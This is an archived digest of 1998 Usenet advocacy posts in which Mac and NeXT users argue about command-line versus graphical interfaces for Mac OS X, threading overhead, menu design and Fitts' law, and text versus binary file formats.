References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <SCOTT.98Sep6224159@slave.doubleu.com> <6t21ge$ktq$1@nnrp1.dejanews.com> <6t6ona$boq$4@news.mxol.com>
In article <6t6ona$boq$4@news.mxol.com>,
"Charles W. Swiger" <chuck@codefab.com> wrote:
> Enabling multithreading roughly doubles this overhead again for just the
> locking over the critical section of the method dispatch (ie, a lock over
> the Obj-C runtime structures). Add whatever locking the various frameworks
> like the Appkit need, and then add the explicit mutex locking (NSLock et al)
> for your own code, too.
What runtime structures are you refering too? The cache of previously found
method addresses? The Appkit is going to need to inforce mutex in any case
because Apple is now in the process of making it reentrant.
> Bugs are. Debugging multithreaded code is a far more difficult
> proposition than debugging single-threaded applications. The errors
> tend to be sporadic, not reproducable, not consistent, and tough to resolve.
I am well aware of the difficultly involved in writting multithreaded code :-)
> > GUI programs are harder to write than CLI programs but most people deam
> > the increased development cost to be worthwhile.
>
> Hmm. Is a Photoshop or a web browser harder to write than a GNU C
> compiler, or a Mach kernel?
I meant for the equivalent application. Writing a CLI compiler is easier than
writting a GUI compiler.
> That'd probably work adequately well, actually-- assuming the cost of
> duplication was significantly smaller than the cost to prepare the document
> to go to the printer....
The cost of the duplication could be very expensive. Imagine duplicating a
thesis or 1200dpi image file.
> Threading doesn't come for free. Threading does not improve performance
> over a properly done non-threaded designs. Of course, it's much easier to
> design a PMT threaded app than a cooperative one. But then, selecting
> the right tradeoffs is what a developer should be doing....
Threading can improve performance if you have more than one processor. Still,
I wasn't talking performance, I was talking behavior. And, I must point out
again, the BeOS is very heavily threaded and its performance is very
impressive.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 10 Sep 1998 14:04:08 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F822A8.2ECB2800@ericsson.com>
References: <heaney-0509981648590001@24.0.246.137> <35F6D06C.562D8CEA@ericsson.com> <6t6te6$cpb@newsb.netnews.att.com> <35F702AF.BA9E9097@ericsson.com> <6t92f7$fhs@newsb.netnews.att.com>
Mime-Version: 1.0
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> I would consider the computer to be optimized for maximum impact on my work,
> if it adapts to me [to the extent that is technologically possible],
Sorry, you've just described two totally different goals. I don't see
the linkage, and you haven't described it.
> rather than the other way around. It has to do with learning curves,
> the fact that I don't work in isolation, and the easier something is
> to teach, the faster I can get someone else to do it.
More goals, none of which explain the linkage you've claimed is evident.
None of the discussion of interfaces has so far explained how these
goals are exclusive (or even conducive) to the GUI.
> >In
> >one way or another, everybody grows to think that their particular
> >environment is exclusively correct.
>
> No, I have colleagues who use a UNIX CLI rather than NT, but nevertheless
> have to ask for help for what I would consider relatively simple things.
What does this have to do with what I was saying?
> When I was in graduate school, all we had was vt100 terminals hooked up to a
> SUN server; there was nothing else to be acclimated to. I had to help
> many very smart people with their CLIs.
What does this have to do with what I was saying?
> >The only way to combat this is aggressive pursuit of change. Most people
> >don't like change, so there you have it.
>
> The physicists I worked with wanted to think about physics,
> not about CLIs and computers. The aggressive pursuit of change for its
> own sake is mighty stupid.
Perhaps, Arun, I don't know. What I said was that aggressive pursuit of
change was good for the sake of fighting catholic tendencies, not for
its own sake. If you have to slow down to read more carefully, please do
so. You're dragging this conversation off track and getting mired in
pejoratives.
As regards these "catholic tendencies", I hear plenty of Mac users who
claim that all they want is to have their Macintoshes, nothing more.
They seem to have missed the fact that they don't live on an island; if
you want your Macintoshes to be around in a few years, you're going to
have to engage the outside world a little. "No, that has nothing to do
with my work", they claim, as you claim.
Silly people in a silly world living a silly fantasy. The rest of the
world will not fetch your paper and set your banquet table, as many (but
not all) academics would like to believe.
[cut]
> Well, I have the same attitude towards people who consider mathematics
> boring as you seem to have towards people who don't like CLIs.
I don't have the slightest idea what you're talking about. This has
nothing to do with people who don't like CLIs. It has everything to do
with people who minimize and slam the CLI for the sake of protecting
their inadequacies, mostly laziness. You have a bad attitude toward me
because I don't like mathematics, even though I work hard at it. Shame
on you, you priggish bastard. I have the utmost respect for people who
don't like CLIs but work with them anyway to be more effective. You and
I do *not* have the same attitudes; don't make that claim again. I don't
want to share company with your kind of mindset.
> Rather, I used to have that attitude. Consider that a lot of people
> put up with CLIs for the same reason that you put up with mathematics.
Ah, a reformed elitist.
> They, fortunately, do have a choice -- CLIs are not essential, even to
> computing; but mathematics is at the foundations of the sciences.
Thank you for minimizing my effort. I do it, apparently, because I must,
not because I have the lofty goals to which you ascribe.
> >So what? Memorizing commands wasn't the point.
>
> Having only so many hours to live, and having only so many productive hours,
> what would you rather do ? Master a CLI ? For most people, the answer is NO.
Oh, the melodrama is so enticing. "Hours to live" and "master a CLI" in
the same breath. Yes, I've conquered this Herculean task. Idolize me.
As I've already said, learning the CLI is an up-front investment of time
and energy that pays for itself. If you don't believe me, that's that.
You'll never find out.
> Most CLIs are outdated and ugly. Surely nobody buys Windows 98 because
> there is DOS in it ? The UNIX CLIs carry a lot of old baggage; surely,
> a CLI designed from scratch, with the hindsight of experience would be
> much cleaner.
I suppose there's some truth to what someone said recently: "You can't
expect MacOS users to do an about-face overnight." Unfortunately for
them, nobody will drag them "kicking and screaming" out of mediocrity.
Life is full of Eleanor Rigbys who got left behind. Gluttons for
punishment.
MJP
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 10 Sep 1998 12:05:25 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6t984m$aeb$1@nnrp3.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <35F6F4F8.F3327219@ericsson.com> <heaney-0909982200140001@24.0.246.137> <gregorylo-1009980122540001@cpu2522.adsl.bellglobal.com>
Gregory Lo wrote in message ...
Myself, I'd like to keep the CLI as an option, yet hide it from the casual
>user. Sort of like how the Finder in MacOS 8 has a "simple" mode with
>less menu items and one-click access; there could be an advanced mode as
>well.
The problem is you can't hide the CLI. The CLI is just an application,
like any other application, and can be fired up by double-clicking on
it's icon in the Finder. (Hmmmmm... Using a GUI to fire up a CLI...
There is humor there somewhere... :-)
One thing I guess you could do is simply not ship a CLI application
with MacOS X Server. But I suspect Apple *will* ship one, just in an
"Optional Tools":"Miscellaneous Stuff":"Other" folder somewhere...
- Bill Woody
The PandaWave
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 10 Sep 1998 11:59:59 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6t97qg$ag3$1@nnrp3.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net> <6t8nsa$ij$1@nnrp03.primenet.com>
John Jensen wrote in message <6t8nsa$ij$1@nnrp03.primenet.com>...
>William Edward Woody <woody@alumni.caltech.edu> wrote:
>
>: >Why exactly [remove the CLI]?
>
>: >I'm sorry, but the whole thing still strikes me as political
correctness,
>: >or worse, an attempt to target the Mac at low-end users.
>
>: FUD.
>
>: As far as I can tell, this is simply a discussion of the strengths
>: and weaknesses of each technique (GUI verses CLI). So far (unless
>: I've missed the post), no-one here is arguing that the CLI should
>: be stripped from the upcomming MacOS releases.
>
>There have been people in this thread who have said that hiding the CLI
>is not sufficient, that it must be removed. Moreover, if you've watched
>these threads in the past two years since the NeXT acquisition, it has be
>a recurring theme.
Me culpa.
I saw these messages go by only after I wrote the above message.
>: Me, I personally can't wait to be able to launch a CLI application
>: in the background (hidden from the user): as a plugin architecture
>: it would run screaming circles around any other plugin architecture
>: anyone has been able to come up with.
>
>Sure. There are other ways to integrate CLIs and GUIs once you get over
>the hurdle of CLI acceptance. There have been systems which allowed CLI
>scripts to be designated as drop targets within the GUI. There are the
>tcl/tk tools as well. All kinds of things can be done in a hybrid system
>to increase the user's power while maintaining ease of use. But if the
>CLI is left out because it offends the eyes, none of these can be
>attempted.
And I don't see the problem of leaving the CLI in; most beginners
won't use the CLI unless forced to, and more advanced users/beginning
programmers can benefit from being able to script certain operations.
However, I would like to see the CLI 'depreciated'--that is, I'd like
to see developers actively discouraged from not providing a GUI for
their applications. Not by any architectual modification (let's be
real: leave out a shell from the OS, and as soon as MacOS X Server
hits the shelves you'll see six Unix shells on the InfoMac archives),
but through actively discouraging developers through tech notes and
other mechanisms.
- Bill Woody
The PandaWave
(Who notes that if the OS provides 'fork()', 'exec()' and a mechanism
for redirecting text I/O for stdin, stdout and stderr, I could roll
a simple CLI shell for that OS in a week. It's exactly the same process
as forking a subprocess to act as a plugin. So it would be impossible to
leave out a CLI from a Unix based OS.)
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 10 Sep 1998 14:53:25 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6t8p55$f0d@newsb.netnews.att.com>
References: <heaney-0509981648590001@24.0.246.137> <heaney-0909981615420001@24.0.246.137> <35F <35F767A9.F72D95C@nstar.net>
Originator: gupta@tlctest
This one illustrates a good example :
>
>ps auxww | grep netscape | grep -v grep | awk '{print $2}' | kill -9
>
I work in a heterogenous environment with several flavors of UNIX,
and ps is one of the commands I always have problems with :
puma:/home/gupta> ps ?
usage: ps [ -aAdeflcj ] [ -o format ] [ -t termlist ]
[ -u userlist ] [ -U userlist ] [ -G grouplist ]
[ -p proclist ] [ -g pgrplist ] [ -s sidlist ]
'format' is one or more of:
user ruser group rgroup uid ruid gid rgid pid ppid pgid sid
pri opri pcpu pmem vsz rss osz nice class time etime stime
f s c tty addr wchan fname comm args
ackcu1:/cuts/cutstest/cutstest>ps ?
usage: ps [ -edalfF ] [ -c corefile ] [ -n namelist ] [ -t tlist ]
[ -p plist ] [ -u ulist ] [ -g glist ] [ -G FSSlist ]
tlctest:/home/gupta> ps ?
ps: P: unknown option
ps: usage: ps [-acCegjklnrStuvwxU] [num] [kernel_name] [c_dump_file]
[swap_file]
CLIs would be much nicer if these kinds of discrepancies were cleared up.
-arun gupta
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Date: Thu, 10 Sep 1998 11:42:03 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1009981142030001@news>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net><B2187B86-2132B9@153.36.240.74><joe.ragosta-0609982205020001@elk66.dol.net><macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net><tapella-0709981610060001@22w2-1.dyn.pas teur.fr><macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net><tapella-0809981842340001@22w2-1.dyn.pasteur.fr><6t3q0p$13a61@odie.mcleod.net> Distribution: <6t40cb$jhc$1@cronkite.cs.umd.edu> <35f5924c.0@nnrp1.news.uk.psi.net> <6t6hcp$h1j$3@cronkite.cs.umd.edu> <35f6ff9c.0@nnrp1.news.uk.psi.net>
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In article <35f6ff9c.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
(Richard Frith-Macdonald) wrote:
> seanl@cs.umd.edu (Sean Luke) wrote:
> >
> >NeXTSTEP menus are an extraordinarily clear example of failure to consider
> >Fitt's law.
>
> As for hitting the top-level menu - by default it's in the top-left of the
> screen, where the mouse pointer stops - research shows that Fitts law does not
> hold for this case - it's actually easier to hit things at the edge of the
> screen than to hit things nearer your starting point somewhere in the middle.
Fitts' Law relates to the distance of an object, as well as its size. Since
the item is on the edge of the screen, and the cursor stops at the edge,
its effective size is much larger than is perceived. Therefore, Fitts' Law
still holds. Read Tog On Interface for more info about this.
> Wrong! - I drag straight along the diagonal from the (it doesn't look narrow
> on my system) zoom button to the zoom submenu item. The system doesn't try
> to open any of the submenus corresponding to the buttons I pass over unless
> I drag so slowly it thinks I've stopped on them.
Ah, so now you have to account for cursor speed as well as direction and
distance when you're making menu selections. Since this adds another
element that the user has to think about, this would seem to make menu use
more complicated for the user. (And for the record, yes, I do know that
Apple uses the same algorithm for selecting its submenus; but the
difference is that on the Mac, you only need to make a diagonal selection
for a submenu, not a main menu, so it is much more rare.)
> 1. Fitt's law is well known to be wrong in cases where you are going to
> the edge of the screen.
See above.
> 2. The particular app used in your example is an extreme case, where the
> designers have piled a lot into the main menu and have tiny submenus -
> thus maximising mouse movement to hit submenu items. That's a poor app,
> not a fault of the menu system.
But a good menu system will work well even with large numbers of menu
items. For example, if you have a menu with fifty items in it on the Mac,
you just drag straight down (and quickly) to get to the one you want. With
Next, you have to drag quickly and at an angle, which is more difficult.
> In the more common case on NeXTstep you have a submenu with it's top item
> at the top of the screen and it's bottom item somewhere below the menu
> item that made it pop up. This means that some submenu items are directly
> adjacent to your mouse pointer, while the others (at the top of the screen)
> have the benefit of being easy to hit due to that screen boundary that
> prevents overshoot.
Yes, that is true, and the Mac menus don't have that (although one could
argue that since you're already so close to the menu itself, overshoot
isn't really that much of a problem.)
> However - now that we ARE talking about the 'perfect' menu system, I have to
> say that I think that the issue of
> submenus-at-top-of-screen v submenus-centered-round-menu-item
> probably can't be decided without practical research.
> The centered version is optimal for shortest distance for mouse to move.
> The top version is optimal for rapid movement to the first few items on
> the submenu and is (application designer permitting) very good for short
> mouse movements to other items.
>
> One thing's for sure - both are better than the
> submenus-pull-down-from-menu-item system.
And again, no. It's better to be able to select a menu item and just move
in one direction to get to the menu item, without having to worry about
selecting an intervening item by accident. If you have to select a menu,
then figure out the direction to travel, THEN move to it (quickly), it
takes more time.
Andy Bates.
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 10 Sep 1998 12:13:38 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6t98k3$dfs$1@nnrp3.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3>
tse_di wrote in message ...
>I think the thing that makes some people (like myself) suspicious of CLI's
>isn't how they work, (I do prefer them for some tasks) but rather the fear
>that if it is in there it will somehow become necessary to use it for some
>functions. ...
Exactly!
It's 10 times easier to roll a CLI interface (IMNOHO) than it is to roll
a GUI interface. And my personal worry is that if the CLI interface is
out there, a lot of software will start showing up for the Macintosh which
either has a poor GUI interface (and reserves certain functionality for
the CLI interface only), or isn't properly integrated into the Finder
(parsing argc,argv[] is a lot easier than looking for the Open Document
Apple Event), or otherwise uses the CLI as a crutch in it's normal
operation. (And God help us if we revert to the days when clicking a
menu item turns into a command line for a CLI processor! Ugh!)
There are certain operations for which a CLI is ideally suited, such
as "filter" applications, like compilers and text processing tools.
But even there I'd like to see people go through the exercise and effort
to roll a GUI interface to the CLI application. (Just roll the interface
in Interface Builder, and use 'fork()' and 'exec()' to launch the filter
app when needed.)
The Macintosh is well known for it's ease of use, in part because Apple
has forced a generation of programmers to provide nice user interface
tools to end-users. And I'm afraid that with a CLI, a whole new generation
will just punt on helping make the Macintosh a friendly system.
- Bill Woody
The PandaWave
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 10 Sep 1998 19:17:07 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn6vg9di.2g2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net> <ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net> <EyoKBy.CAo@T-FCN.Net> <ckoller-0209982205240001@40.long-beach-01.ca.dial-access.att.net> <35eeaf7f.0@news.depaul.edu> <Eypv66.7sy@T-FCN.Net> <35eee7ad.0@news.depaul.edu>
NNTP-Posting-Date: 10 Sep 1998 19:17:07 GMT
On 3 Sep 98 19:02:05 GMT, Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
:There could, of course, be other issues. And I'm sure Apple would
:rather not send Adobe $20 for every OS/X user. But the DPS-removal
:could probably wait until a later version of OS/X.
Yes. Didn't mpaque even hint that Apple was trying to buy out DPS
completely but Adobe wouldn't negotiate seriously?
And then Adobe kills it anyway?
And where is mpaque nowadays? I hope he's still fighting the good fight
over there!
My "bozometer" goes up everytime an ex-NeXT person leaves (and goes
down every time an ex-Amelio-regime person leaves). If Tevanian goes,
then I'm outta here.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
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<Ez16AM.M0p@T-FCN.Net> <35F6D9DD.36CB7180@ericsson.com>
<Ez1Cs9.347@T-FCN.Net> <35F762AF.AE864121@nstar.net>
Mime-Version: 1.0
Date: Thu, 10 Sep 1998 15:00:05 GMT
In <35F762AF.AE864121@nstar.net> "Michael J. Peck" wrote:
> That's plainly untrue. The first example required reading in *first* the
> data *type*. Subsequently, the data itself had to be read in as a string
> and then converted to the appropriate type.
Ok.
> They are totally different examples.
Not to a programmer. The resulting code will look identical. Are we
talking about the complexity of the libraries now? Who cares about that?
> Reading from a binary the way Lawson demonstrated involves
> nothing more than ingesting raw data bytes.
Yes, and YOU as the programmer don't do that. You say "read these values
from this handle". This is _exactly_ what I do with OAPropertyListCoders, I
say "read these values from this handle".
> Your text file requires parsing and type conversion.
Sure.
> There is a *very* demonstrable performance difference
So it's a performance thread again? It isn't for me, it's a usability
thread. Text encodings are easier to use, debug and manipulate without the
original program. Do you disagree with this?
> Surely. Whether or not that data is appropriate for the task at hand is
> a completely different matter. Lawson's example involved reading data
> directly into a struct, the simplest way of reading a binary file.
Lawson's example was a struct and nothing more - I didn't see any code
there, because there wasn't any code there. A struct is not file management
code. I'll agree absolutely that this is the _easiest_ way, at least for
some situations.
> No, this is simply not so!
Yes, it is simply so. If you don't believe me, go to our web site and
download it. http://www.oaai.com. It's free, enjoy.
> When you read in "9999999" your parser will
> be reading in one character byte at a time.
Actually it will be reading it a block at a time.
> that is a total of 17 character bytes to be read, including the carriage
> return. Once your loop terminates on the newline character, you then
> have to split on the ':', drop the leading space from the second string
> fragment, and convert '9999999' to an integer. This is many times slower
> than simply reading four bytes into a struct.
No, it's not "many times slower". At least not in my code. You seem to
forget the difference between disk and CPU performance - while the disk is
waiting on the next block all of this can be decompiled.
> Again, the appropriateness of any format depends on what you are doing
> with it. If your format is predictable to any degree, it will be faster
> to do it the way Lawson describes.
Until you attempt to extend it, or make it work on other platforms, or
debug it, or view the output, or...
> unpredictable data like a markup language, it *may* be more desirable to
> use text. It all depends on the purpose of your format. Efficiency is a
> *secondary* consideration.
I would say that this is true in most situations.
> > Neither have I, but I was able to manipulate PS.
>
> Of course you were, you have a class that's already written to do that.
No, on HyperCard. It was string manipulation plain and simple. A binary
representation would have made this particular task much much harder.
> You were the one who introduced this as a matter of efficiency.
Which?
Maury
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 10 Sep 1998 15:14:22 GMT
Organization: Primenet (602)416-7000
Message-ID: <6t8qce$8sk$1@nnrp02.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <heaney-0909981615420001@24.0.246.137> <35F767A9.F72D95C@nstar.net> <6t8p55$f0d@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: I work in a heterogenous environment with several flavors of UNIX,
: and ps is one of the commands I always have problems with [...]
: CLIs would be much nicer if these kinds of discrepancies were cleared up.
I think the POSIX definition of ps is very lean, and UNIX vendors find it
very hard to wean themselves of the options they've been using up until
now.
(People are most familiar with the POSIX API standard, but there are
standards for a POSIX shell (CLI) and POSIX shell commands as well.
These standards also have IEEE designations.)
John
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: What Motorola is doing with PowerPC
Date: 10 Sep 1998 19:24:13 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6t990t$g1o@newsb.netnews.att.com>
Originator: gupta@tlctest
http://www.eet.com/news/98/1025news/motorola.html
"Motorola spins PowerPC for high-end switches and routers".
Next week, Motorola will introduce the MPC8260, PowerQuicc II, which is
a 603e core and a 32-bit RISC based networking engine --
"a RISC serial communications controller that handles Layer 1
and 2 communications".
Quotes :
"For Motorola in particular, the networking market has been
a true find. "PowerPC sales on the network are going through
the roof," Cambou said. [Motorola VP of network and computing
systems group].
....
"Networking companies, usually working with real-time operating
systems or even their own house OS, are willing to shop outside
the Intel architecture, Cambou said, giving Motorola the chance
to tout the PowerPC's small size and low power dissipation,
features often sacrificed for the sake of Windows compatibility."
....
"In fact it's the promise of networking that drove Motorola to
develop the AltiVec instruction set being added to the next generation
of PowerPC. The idea hads its genesis three years ago, when Motorola
began tapping the likes of Cisco Systems Inc. and Bay Networks Inc.
for the upcoming requirements of internetworking hardware."
End quotes.
-arun gupta
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
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Mime-Version: 1.0
Date: Thu, 10 Sep 1998 15:13:48 GMT
In <B21C6F3A-19CA6E@206.165.43.114> "Lawson English" wrote:
> rather than limiting MacOS X graphics to some subset/superset/intersection
> of GX and YB graphics in this instance, why not provide a way for
> programmers to "roll their own per-pixel manipulations of a
> bitmap/vector/text?
Well I haven't looked to hard at it, but from what I can tell this is
exactly what the NSCompositing system does. Maybe it doesn't do _this_ (per
pixel convolutions based on use defined functions) now, but again I see no
reason to upset the whole cart when it appears what's needed is nothing more
than another def in the compsotiting mode enum, or better yet, a function
pointer. For instance the composite functionality already has "odd" features
like lightening and darkening, as well as a "highlighting" effect (and the
alpha). These ops are all post-applied and the cache during composition as
far as I can tell - the image is rendered offscreen then composited.
Isn't this the right place to plug in? IE, offer a new NSCustomCompositing
enum and then provide a function pointer?
> All you'd need would be access to the source pixel value, destination pixel
> value and the "result" (composited) pixel. For vectors, this would be the
> single color value of the object. For bitmaps, this would be the entire
> collection of pixels on a per-pixel basis. Not sure how to handle text in
> this case -per style?
Dunno. I suppose this would happen at the same time, but I don't see a
specific "composite" time in the text hierarchy.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
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Organization: none
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Date: Thu, 10 Sep 1998 15:23:10 GMT
In <heaney-0909982147080001@24.0.246.137> John Heaney wrote:
> No, they did not fix this. Good programmers O:-) comment the inputs (and
> outputs if ambiguous). PI did not. But it is a simple matter to examine
> the comments of the method itself. You could even set up a keyboard macro
> to do it.
Ok, well I'm still going to chalk this one up as a problem - it certainly
bugged the crap outta me! Seems so simple to fix too. I think you should be
able to click on any box, hold down a key, and have a bunch of labels pop up
on the inputs and outputs (format and "name"). I think this would _really_
help usability.
Certainly once you get to know them this isn't a problem, but that was my
problem, getting to know them!
> There is a distinction between the Prograph operations and external
> operations, which Mac Toobox function qualify as. If you double-click on a
> Prograph operation, the method implementation opens. If you double-click
> on an external operation then the Info window opens, providing the data
> types of the inputs and outputs of the function. If you write your own
> external C functions you can also add other comments. The Info window is
> very much like Think Reference. There is also a button that will take you
> to the corresponding page of Think Reference.
Ok, that's changed a bit.
> MacTech now maintains the Think Reference application. They use it on the
> CDs to reference all their articles and other reference material.
Ahhh, I really need to keep up more on the MacOS side of things. Well good
for them, I would have hated to see this product die. Everyone at SA used
it, but the universal comment was "it's great, but it's outdated". Is
MacTech sending out updated refs?
Maury
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 10 Sep 1998 18:14:26 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F85D52.45E77BB@ericsson.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <35F6F4F8.F3327219@ericsson.com> <heaney-0909982200140001@24.0.246.137> <35F76A3F.CEAA6265@nstar.net> <6t9kb8$f29$3@news.mxol.com>
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Charles W. Swiger wrote:
[cut]
> In the past, I have strongly disagreed with people (mainly Mac users) who
> want to remove the CLI entirely. Did you happen to fall into that category,
> by any chance?
The text to which you responded made it clear that I do not hold that
position, a fact that makes your question a bit odd. Our disagreement
was, in fact, over whether there were interaction tasks that the GUI
made possible, and which were impossible from the CLI. My position was
in the affirmative.
MJP
From: smileyy@ix.netcom.com (Andrew McCormick)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: Thu, 10 Sep 1998 19:12:36 -0400
Organization: ICGNetcom
Message-ID: <smileyy-1009981912370001@192.168.0.2>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu> <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu>
yO|mu63W9l,<&>Elu}#LIobQ32F
In article <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
>Pulsar <pulsar@springnet1.com> wrote in article
><pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu>...
>>
>> IBM and Motorola don't give a damn about market share. That's Apple's
>> worry. IBM and Motorola care about volume. The more they sell the happier
>> they are. The market share issue wouldn't be an issue for the Mac either
>if
>> it weren't for software.
>>
>
>????
>
>Are you saying that is possible to have volume without market share? If
